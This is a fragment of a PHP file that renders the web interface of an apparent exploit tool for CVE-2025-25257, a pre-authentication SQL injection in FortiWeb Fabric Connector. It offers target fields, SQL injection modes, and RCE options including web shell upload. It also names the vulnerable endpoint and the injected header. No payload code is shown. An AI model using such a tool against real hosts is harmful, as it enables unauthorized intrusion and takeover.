<h3>CVE-2025-25257 - Pre-authentication SQL Injection to RCE</h3>
<div class="warning-box">
<strong>⚠️ Educational Use Only:</strong> This tool demonstrates a critical vulnerability in FortiWeb Fabric Connector.
Use only on systems you own or have explicit permission to test.
</div>
<form method="post">
<div class="form-group">
<label for="target">Target Host:</label>
<input type="text" id="target" name="target" placeholder="192.168.1.100 or fortiweb.company.com" required>
</div>
<div class="form-group">
<label for="port">Port:</label>
<input type="text" id="port" name="port" value="443">
</div>
<div class="form-group">
<label for="uri">Base URI:</label>
<input type="text" id="uri" name="uri" value="/">
</div>
<div class="form-group">
<div class="checkbox-group">
<input type="checkbox" id="ssl" name="ssl" checked>
<label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
</div>
</div>
<div class="form-group">
<label for="sqli_technique">SQL Injection Technique:</label>
<select id="sqli_technique" name="sqli_technique">
<option value="info">Information Disclosure</option>
<option value="tables">Database Tables</option>
<option value="advanced">Advanced Queries</option>
</select>
</div>
<div class="form-group">
<label for="rce_method">RCE Method:</label>
<select id="rce_method" name="rce_method">
<option value="file_write">File Write</option>
<option value="command_injection">Command Injection</option>
<option value="web_shell">Web Shell Upload</option>
</select>
</div>
<button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
<button type="submit" name="action" value="sqli" class="info">SQL Injection</button>
<button type="submit" name="action" value="rce" class="danger">Attempt RCE</button>
</form>
<div class="info-box">
<h3>About CVE-2025-25257:</h3>
<p><strong>Vulnerability:</strong> Pre-authentication SQL Injection</p>
<p><strong>Affected Versions:</strong> FortiWeb Fabric Connector 7.0 through 7.6.x</p>
<p><strong>Endpoint:</strong> /api/fabric/device/status</p>
<p><strong>Parameter:</strong> Authorization header (Bearer token)</p>
<p><strong>Impact:</strong> Remote Code Execution via SQL injection</p>
<p><strong>Exploit Chain:</strong> SQL Injection → Data Extraction → File Write → RCE</p>
</div>
</div>
</body>
</html>';
}
}
?>
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